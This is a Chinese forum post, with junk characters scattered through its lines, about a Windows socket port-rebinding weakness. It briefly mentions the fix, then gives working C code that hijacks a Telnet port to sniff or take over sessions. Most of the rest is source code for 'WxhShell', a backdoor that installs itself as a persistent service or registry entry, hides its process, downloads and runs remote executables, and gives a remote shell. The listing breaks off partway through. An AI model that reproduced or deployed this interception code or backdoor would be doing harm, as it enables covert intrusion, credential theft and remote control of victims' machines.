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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R#;xBBt8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Uuu2wz3O0  
:H m'o}  
  saddr.sin_family = AF_INET; Xo~q}(ze^  
 HB'9&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -aok]w m  
a~_JTH4=t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]YFjz/f  
[R%*C9Y d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,@?9H ~\  
rXD:^wUSc  
  这意味着什么?意味着可以进行如下的攻击: , h'Q  
iCg%$h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e"eIQI|N  
E7? n'!=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j<0 ;JAL  
'r%(,=L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ux(~+<k  
`pZX!6Wn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rM A%By^L-  
[w@S/K[_|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GU2TQx{V  
W4d32+V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ti_G  
n9={D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tm=,x~  
-wV2 79^b  
  #include iz`>'wpC  
  #include `H$XO{w  
  #include s_fe4K  
  #include    *#Ia8^z=p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;)CN=J!  
  int main() 1 @t.J>  
  { O(8CrKYY  
  WORD wVersionRequested; 0q-lyVZ^X  
  DWORD ret; 7>O`UT<t4@  
  WSADATA wsaData; C{uT1`  
  BOOL val; >L4F'#I  
  SOCKADDR_IN saddr; 8&"Jlz |  
  SOCKADDR_IN scaddr; Er j{_i?R?  
  int err; Y]0c%Fd  
  SOCKET s; g*YA~J@  
  SOCKET sc; "D_:`@V(  
  int caddsize; &Y=~j?~Xm  
  HANDLE mt; ^$lZ  
  DWORD tid;   a4~B  
  wVersionRequested = MAKEWORD( 2, 2 ); -WqhOZ  
  err = WSAStartup( wVersionRequested, &wsaData ); |a#ikY _nd  
  if ( err != 0 ) { IA.7If&k  
  printf("error!WSAStartup failed!\n"); w[gt9]}N  
  return -1; a7ZufB/  
  } JXe~ 9/!  
  saddr.sin_family = AF_INET; ly*v|(S&  
   CQ/+- -o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l_:P |  
Nr>UZlU8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b:Zh|-  
  saddr.sin_port = htons(23); O]=jI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fovah4q%V  
  { bs)wxU`Q*  
  printf("error!socket failed!\n"); a"U3h[;$y  
  return -1; !fn%Q'S  
  } h?SRX_  
  val = TRUE; fTy:Re  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7JQ4*RM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b,~pwbHf  
  { ^t gjs$M|  
  printf("error!setsockopt failed!\n"); [iq^'E  
  return -1; _h}(j Ed!  
  } L k nK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #9]2Uixq[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zc)nDyn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E#(e2Z=  
4uoZw 3O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O5p$ A @  
  { e3CFW_p  
  ret=GetLastError(); n)q8y0if  
  printf("error!bind failed!\n"); 0:[A4S`X  
  return -1; 0/f|ZH ~!  
  } Lr*PbjQDIY  
  listen(s,2); C$+Q,guM  
  while(1) _yN5sLLyb  
  { $aJay]F  
  caddsize = sizeof(scaddr); HLPRTta.  
  //接受连接请求 %pjeA[-m#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IL.bwt pQD  
  if(sc!=INVALID_SOCKET) SEzjc ~@3  
  { ,ESli/6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); # f-hI  
  if(mt==NULL) *'8q?R?7g  
  { dNt^lx  
  printf("Thread Creat Failed!\n"); |Vz)!M  
  break; ]`x+wWe  
  } q`2dL)E  
  } \os"w "  
  CloseHandle(mt); lF/ Xs  
  } "]]LQb$  
  closesocket(s); -9{N7H  
  WSACleanup(); 4lX_2QT]E  
  return 0; TM#L.xPMf  
  }   2H9hN4N  
  DWORD WINAPI ClientThread(LPVOID lpParam) oz=ULPZ%  
  { 7_s+7x =  
  SOCKET ss = (SOCKET)lpParam; gw,K*ph}q  
  SOCKET sc; r4iNX+h?V  
  unsigned char buf[4096]; V||b%Cb1g  
  SOCKADDR_IN saddr; zx\-He  
  long num; de W1>yh^_  
  DWORD val; ]FVJQS2h  
  DWORD ret; 0g: q%P0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }1 qQ7}v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (nB[aM  
  saddr.sin_family = AF_INET; (N&?Z]|yr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iKPgiL~  
  saddr.sin_port = htons(23); KQ]sUNH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZXb{-b?[`  
  { M 1 m]1<  
  printf("error!socket failed!\n"); Xv!Gg6v6  
  return -1; &K'*67h  
  } M("sekL  
  val = 100; w#A\(z%;x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <CO_JWD  
  { l59\Lo:  
  ret = GetLastError(); Z9M$*Zp  
  return -1; NCi~. I  
  } >&+V[srfD  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JGvhw,g  
  { 3;Yd"  
  ret = GetLastError(); BSHS)_xs  
  return -1; #p*uk  
  } L)U*dY   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FvVC 2Z  
  { =Y|( }92  
  printf("error!socket connect failed!\n"); Q+Q"JU  
  closesocket(sc); dYD;Z<l  
  closesocket(ss); Ve"(}z  
  return -1; @hA`f4^  
  } $6UU58>n  
  while(1) ; ,sNRES3  
  { N}n3 +F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 CQ6I4k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Co(N8>1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Wm-$l  
  num = recv(ss,buf,4096,0); %D#&RS  
  if(num>0) ["&{^  
  send(sc,buf,num,0); aG;F=e  
  else if(num==0) H:hM(m0?q  
  break; D mi.@.  
  num = recv(sc,buf,4096,0); Z HZxr  
  if(num>0) qVfn(rZ  
  send(ss,buf,num,0); HM)D/CO,?  
  else if(num==0) |z3!3?%R  
  break; ,|yscp8  
  } ;Z0&sFm  
  closesocket(ss); XTX/vbge3m  
  closesocket(sc); IYq#|^)5+  
  return 0 ; Go c*ugR  
  } %.`u2'^  
K!9K^h  
/77cjesZ9  
========================================================== S[$9_Jf  
<S7SH-{_\  
下边附上一个代码,,WXhSHELL j$_?g!I=gK  
^cPVnl  
========================================================== lbt8S.fx  
D1-w>Y#  
#include "stdafx.h" ]s5e[iS  
R2~y<^.V`Y  
#include <stdio.h> 5>%^"f  
#include <string.h> NX%1L! #  
#include <windows.h> 6|q"lS*$S  
#include <winsock2.h> q j21#q .  
#include <winsvc.h> Peph..8Z  
#include <urlmon.h> }a!|n4|`  
`T+>E0H(f  
#pragma comment (lib, "Ws2_32.lib") ;rT/gwg!  
#pragma comment (lib, "urlmon.lib") ]8}2  
tx[;& ;  
#define MAX_USER   100 // 最大客户端连接数 _I;hM  
#define BUF_SOCK   200 // sock buffer Eu&$Rq}  
#define KEY_BUFF   255 // 输入 buffer ) q'D9x9  
'+$r7?dKP  
#define REBOOT     0   // 重启 p2l@6\m\  
#define SHUTDOWN   1   // 关机 Ih5Y7<8b~  
%Bm{ctf#)  
#define DEF_PORT   5000 // 监听端口 =/'>.p3/S  
<7ANXHuSW  
#define REG_LEN     16   // 注册表键长度 5|eX@?QF58  
#define SVC_LEN     80   // NT服务名长度 @BnK C&{  
d_$0  
// 从dll定义API -:d{x#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ->51t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |=:@<0.'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X:`=\D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZhCz]z~tj6  
/cdLMm:  
// wxhshell配置信息 mIG>`7`7N  
struct WSCFG { um$U3'0e  
  int ws_port;         // 监听端口 r]xN&Ne5Q  
  char ws_passstr[REG_LEN]; // 口令 uZ_?x~V/  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]!S#[Wt {k  
  char ws_regname[REG_LEN]; // 注册表键名 }03?eWk/y  
  char ws_svcname[REG_LEN]; // 服务名 Ygg+=@].@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;8vB7|54.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S"Vr+x?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UGM:'xa<T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~2hzyEh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q`J U[nY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J|U~W kW  
oq|o"n)~  
}; KQ9w>!N[  
,)\G<q yO6  
// default Wxhshell configuration ]5 ]wyDj  
struct WSCFG wscfg={DEF_PORT, @+M1M 2@Xz  
    "xuhuanlingzhe", ] g9SUFM  
    1, q'H6oD`  
    "Wxhshell", R6 ej  
    "Wxhshell", 7ZAxhFC  
            "WxhShell Service", YG*<jKcX  
    "Wrsky Windows CmdShell Service", 6v:L8 t$"  
    "Please Input Your Password: ", * wqR.n?  
  1, xG edY*[`  
  "http://www.wrsky.com/wxhshell.exe", GBg  
  "Wxhshell.exe" aDz% %%:r  
    }; ]5*H/8Ke7  
n3V$Xtxw  
// 消息定义模块 M-Vz$D/aed  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6w3[PNd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3_;=y\F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P;y!Y/$C  
char *msg_ws_ext="\n\rExit."; ^=-25%&^  
char *msg_ws_end="\n\rQuit."; +7WpJ;C4  
char *msg_ws_boot="\n\rReboot..."; p[WlcbBwT  
char *msg_ws_poff="\n\rShutdown..."; ZI$P Qz2i  
char *msg_ws_down="\n\rSave to "; ^o C>,%7  
qrOesSdc  
char *msg_ws_err="\n\rErr!"; 9b-4BON{P  
char *msg_ws_ok="\n\rOK!"; ?T%"Jgy8  
(]mBAQ#hw  
char ExeFile[MAX_PATH]; JM0+-,dl[  
int nUser = 0; h-Ks:pcR  
HANDLE handles[MAX_USER]; w H=7pS"s  
int OsIsNt; A;ZluQ  
ixM#|Yq  
SERVICE_STATUS       serviceStatus; gP8}d*W%b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c3fi<?0&|  
2HE<WI^#h  
// 函数声明 8KR17i1  
int Install(void); 7Y.yl F:  
int Uninstall(void); po]<sB  
int DownloadFile(char *sURL, SOCKET wsh); g] IPNW^n  
int Boot(int flag); =Ldf#8J  
void HideProc(void); UZiL NKc  
int GetOsVer(void); <uoVGV5N  
int Wxhshell(SOCKET wsl); yoq-H+<  
void TalkWithClient(void *cs); P&c O2  
int CmdShell(SOCKET sock); Yqu/_6wLx  
int StartFromService(void); ]x& R=)P  
int StartWxhshell(LPSTR lpCmdLine); uW}M1kq?+l  
):=8w.yC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fK@UlMC]7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qa: muW  
Ygfy;G%  
// 数据结构和表定义 rwwyYIlEg  
SERVICE_TABLE_ENTRY DispatchTable[] = a&mL Dh/  
{ buKkm$@w  
{wscfg.ws_svcname, NTServiceMain}, A;/,</  
{NULL, NULL} 3,#qt}8`  
}; [ot+EA  
6x!iL\Y~  
// 自我安装 bS|h~B]rd  
int Install(void) S[8n GH#m  
{ Wa?\W&  
  char svExeFile[MAX_PATH]; )!zg=}V  
  HKEY key; 4|j Pr J  
  strcpy(svExeFile,ExeFile); HuA4eJ(2  
N1:)Z`r  
// 如果是win9x系统,修改注册表设为自启动 ZLP0SCkuR  
if(!OsIsNt) { VL\Ah3+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >W:kTS<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2I=4l  
  RegCloseKey(key); ms&5Bq+9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KxJDAP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /^si(BuC^*  
  RegCloseKey(key); 0yUn~'+(Sp  
  return 0; 2B6y1"B  
    } >"zN`  
  } +r"fv*g"  
} 6: R1jF*eG  
else { r5lPO*?Df  
Fkqw #s(T  
// 如果是NT以上系统,安装为系统服务 u8x#XESR7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z^KBV ^n  
if (schSCManager!=0) n? ^oQX}.\  
{ aNICSxDN  
  SC_HANDLE schService = CreateService PGTjOkx  
  ( bI;u};v  
  schSCManager, Xa U ^^K  
  wscfg.ws_svcname, oC!z+<  
  wscfg.ws_svcdisp, wUS w 9xg  
  SERVICE_ALL_ACCESS, }&l%>P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \$,;@H5I^  
  SERVICE_AUTO_START, PC,I"l  
  SERVICE_ERROR_NORMAL, RbA.&=3  
  svExeFile, )DQcf]I  
  NULL, (f"LD8MJ/  
  NULL, +I.{y  
  NULL, ,}^;q58  
  NULL, _4lKd`  
  NULL JAmpU^(C  
  );  </Dv?  
  if (schService!=0) )h%tEY$AJ  
  { 2-#&ktM%V  
  CloseServiceHandle(schService); b u/GaE~  
  CloseServiceHandle(schSCManager); Jjx1`S*i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wjd_|Kui  
  strcat(svExeFile,wscfg.ws_svcname); {|q(4(f"Iu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,F|49i.K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %:-2P  
  RegCloseKey(key); A22'qgKm@  
  return 0; dP/1E6*m  
    } YO.+ 06X  
  } sdQ "[`~2R  
  CloseServiceHandle(schSCManager); *APTgXYR  
} -0*z"a9<p8  
} 3qp\jh=FE  
^7`gf  
return 1; p" Di;3!y!  
} f F9=zrW  
Is  ( Ji  
// 自我卸载 Ez^wK~  
int Uninstall(void) R{Me~L?  
{ Cj6$W5I m  
  HKEY key; u>03l(X6f  
[Al} GM  
if(!OsIsNt) { s%l^zA(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6l(HD([_p  
  RegDeleteValue(key,wscfg.ws_regname); 0ol*!@?  
  RegCloseKey(key); (;nh?"5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {@X)=.Zf  
  RegDeleteValue(key,wscfg.ws_regname); _$gP-J  
  RegCloseKey(key); S1*xM  
  return 0; P[gYENQ   
  } =|3*Y0  
} T$Rf  
} c38ENf  
else { cs Gd}2VE  
yt`K^07@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dgz^s^fxU  
if (schSCManager!=0) ekSSqj9";  
{ /V>yF&p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `+T"^{ Z  
  if (schService!=0) IKeO&]k  
  { AUm5$;o,/  
  if(DeleteService(schService)!=0) { &>Nw>V  
  CloseServiceHandle(schService); |#O>DdKHT  
  CloseServiceHandle(schSCManager); Uj)`(}r  
  return 0; zhC5%R &n/  
  } SGLU7*sfd  
  CloseServiceHandle(schService); TDW\n  
  } v6'k`HnK  
  CloseServiceHandle(schSCManager); @VKN6yHH  
} B d?{ldg  
} lD1m<AC  
p y%RR*4#  
return 1; 6tBe,'*  
} u'"]{.K>fb  
{bO O?pp  
// 从指定url下载文件 |Y;[)s =q  
int DownloadFile(char *sURL, SOCKET wsh) p) m0\  
{ Uizg.<.  
  HRESULT hr; j:'8yFi_  
char seps[]= "/"; lemUUl(^  
char *token; t$ 3/ZTx  
char *file; QWAtF@qTV  
char myURL[MAX_PATH];  s{T6qJ  
char myFILE[MAX_PATH]; P^m&oH5]EG  
_G ^Cc}X  
strcpy(myURL,sURL); 0hOps5c8=  
  token=strtok(myURL,seps); j4]y(AA  
  while(token!=NULL) Q;eY]l8  
  { "|d# +C  
    file=token; p2(Z(V7*  
  token=strtok(NULL,seps); L<ET"&b;4  
  } a/lTQj]A  
%bgUU|CdA  
GetCurrentDirectory(MAX_PATH,myFILE); Kr@6m80E5  
strcat(myFILE, "\\"); eIt<da<G?  
strcat(myFILE, file); )&.Zxo;q=  
  send(wsh,myFILE,strlen(myFILE),0); ;a~ e  
send(wsh,"...",3,0);  t'e5!Ma  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wp>L}!  
  if(hr==S_OK) t,308Z  
return 0; *w23(f  
else X~ g9TUv8  
return 1; %"BJW  
QJtO~~-  
} %@Nu{?I  
<,Pk  
// 系统电源模块 .%+y_.l  
int Boot(int flag) D[p`1$E-1v  
{ o6)U\z  
  HANDLE hToken; OH6-\U'.Z  
  TOKEN_PRIVILEGES tkp; FZ=xy[q]~  
=nE^zY2m%  
  if(OsIsNt) { e3]v *<bj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #9p|aS\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r5'bt"K\>  
    tkp.PrivilegeCount = 1; ! +XreCw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F%G} >xn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v8 pOA<s  
if(flag==REBOOT) { I"2*}v|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I@:"Qee  
  return 0; K5}0!_)G  
} b VcA#7 uA  
else { @ x5LrQ_`r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O#x=iZI  
  return 0; @*-t.b2k  
} ;><m[l6  
  } Jqz K5)  
  else { QEc4l[^{.B  
if(flag==REBOOT) { sff4N>XAl<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QeG3X+  
  return 0; ,d$D0w  
} 80 ckh  
else { cSYMnB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5 N:IH@  
  return 0; $Ahe Vps@@  
} <j:@ iP  
} yVgHu#?PM  
>IJX=24Rc  
return 1; _~O*V&  
} 1EA#c>I$  
d VyT`  
// win9x进程隐藏模块 3U%kf<m=  
void HideProc(void) R0YWe  
{ K#xL-   
/-Z}=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e$o]f"(  
  if ( hKernel != NULL ) `j!XWh*$  
  { % !Ih=DZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w[OUGn'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R$i-%3  
    FreeLibrary(hKernel); )8;At'q}  
  } ~9n30j%]s  
N."x@mV  
return; d8K|uEHVz  
} z8cefD9F  
40}7O<9*  
// 获取操作系统版本 [I`:%y  
int GetOsVer(void) 1h?QEZ,6a  
{ }Dx.;0*:  
  OSVERSIONINFO winfo; [G' +s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rG3?Z^&R+  
  GetVersionEx(&winfo); moL3GV%]Gq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pKaU [1x?%  
  return 1; y+nX(@~f]  
  else r*9*xZ>8u  
  return 0; DcN!u6sJ  
} 'zOB!QqA`v  
k{D0&  
// 客户端句柄模块 __}ut+H^5p  
int Wxhshell(SOCKET wsl) l"/E,X  
{ HJJ; gTj  
  SOCKET wsh; O~m Q\GlW  
  struct sockaddr_in client; 8^sh@j2L  
  DWORD myID; ]EdZ,`B4  
fGoJP[ae  
  while(nUser<MAX_USER) &cwN&XBY  
{ `RXlqj#u  
  int nSize=sizeof(client); ch33+~Nn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $ i%#fN  
  if(wsh==INVALID_SOCKET) return 1; K #}t\  
YP>J'{?b*"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZmmX_!M  
if(handles[nUser]==0) Y=t? "E  
  closesocket(wsh); IZs&7  
else 1)!2D?w  
  nUser++; ik1asj1  
  } X0]{8v%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~ +h4i'  
G|u)eW  
  return 0; [9G=x[  
} "RgP!  
vIf-TQw  
// 关闭 socket >R5A@0@d5  
void CloseIt(SOCKET wsh) `\GR Y @cg  
{ \,'4eV  
closesocket(wsh); qiH)J- ~GZ  
nUser--; m|3 Q'  
ExitThread(0); 88l1g,`**  
} u;+8Jg+xH/  
xjD."q  
// 客户端请求句柄 ~O|~M_Z  
void TalkWithClient(void *cs) z_Hkw3?  
{ I51I(QF=  
~F%sO'4!  
  SOCKET wsh=(SOCKET)cs; nw(R=C  
  char pwd[SVC_LEN]; 29cx(  
  char cmd[KEY_BUFF]; L7R!,  
char chr[1]; 'KDt%?24  
int i,j; >Y(JC#M;  
6|IJwP^Q_  
  while (nUser < MAX_USER) { z/fSs tN  
,&y_^-|d  
if(wscfg.ws_passstr) { m^ Epw4eg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 31UxYBY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +\$c_9|C+  
  //ZeroMemory(pwd,KEY_BUFF); +s^nT{B@\  
      i=0; 2|ej~}Y  
  while(i<SVC_LEN) { HJBGxy w  
{Q c,Nl [?  
  // 设置超时 xojt s;n   
  fd_set FdRead; Mdq|: ^px  
  struct timeval TimeOut; Kwi+}B!  
  FD_ZERO(&FdRead); UA4c4~$S  
  FD_SET(wsh,&FdRead); LcB+L](  
  TimeOut.tv_sec=8; Y=?{TX=6<[  
  TimeOut.tv_usec=0; %!eRR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /:ZwGyT;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B!&y>Z^$  
|}UA=? Xl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oUO3,2bn  
  pwd=chr[0]; "a9j2+9  
  if(chr[0]==0xd || chr[0]==0xa) {  P_'{|M<?  
  pwd=0; -v-kFzu  
  break; bDudETl  
  } v(GnG  
  i++; }a#T\6rY  
    } ||fw!8E  
Hzj8o3  
  // 如果是非法用户,关闭 socket ^M%P43  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _`gkYu3R+  
} )B+R|PZ,  
fj/L)i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @3$I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  JZ+6)R  
T+aNX/c|>  
while(1) { v9FR  
m5&Ht (I%n  
  ZeroMemory(cmd,KEY_BUFF); ." gq[0_YS  
H-nhq-fut  
      // 自动支持客户端 telnet标准   .dVV# H  
  j=0; dQ~GE}[  
  while(j<KEY_BUFF) { mj'N)6ga  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x;`G n_  
  cmd[j]=chr[0]; qA\&%n^ j]  
  if(chr[0]==0xa || chr[0]==0xd) { i/I  
  cmd[j]=0; * xmC`oP  
  break; Lq ;~6  
  } 1L+hI=\O  
  j++; }h1LH4  
    } +H?g9v40  
VcXr!4 M  
  // 下载文件 "" >Yw/'  
  if(strstr(cmd,"http://")) { oV;sd5'LG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j`q>YPp  
  if(DownloadFile(cmd,wsh)) DU8\1(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .ahY 1CO  
  else >N2kWSa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^;h\#S[%  
  }  :\'1x  
  else { 5z9hcQAS  
p`rjWpH  
    switch(cmd[0]) { f3qR7%X?  
  Er|&4-9  
  // 帮助 04&S.#+(  
  case '?': { 2O@ON/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I4+1P1z  
    break; `?.6}*4@_A  
  } yUD@oOVC0  
  // 安装 5._QI/d)'J  
  case 'i': { 7O k-T10  
    if(Install()) P^=B6>e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0^Vw^]w  
    else $[ S 33Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tmoCy0qWz  
    break; &=*1[j\  
    } =,q/FY:  
  // 卸载 [%R?^*]  
  case 'r': { llR5qq=t  
    if(Uninstall()) )m3emMO2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q:7P /  
    else V`LE 'E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j^8HTa0Cy|  
    break; $*$4DG1gaR  
    } W`JI/  
  // 显示 wxhshell 所在路径 /DH`7E  
  case 'p': { f/Y7@y  
    char svExeFile[MAX_PATH]; "PElQBLP:  
    strcpy(svExeFile,"\n\r"); `>g\gaQ  
      strcat(svExeFile,ExeFile); 3BGcDyYE  
        send(wsh,svExeFile,strlen(svExeFile),0); dc4XX5Z  
    break; N#jUqm  
    } COm^ ti-p  
  // 重启 3!@& 7@p  
  case 'b': { #y7MB6-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rA8NE>  
    if(Boot(REBOOT)) -c1-vGW/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qGR1$\]  
    else { m*HUT V  
    closesocket(wsh); sx;/xIU|  
    ExitThread(0); UtJfO`m9P  
    } A{B$$7%  
    break; e 2N F.  
    } .t>SbGC  
  // 关机 +h/OQ]`/m  
  case 'd': { MIl\Bn  
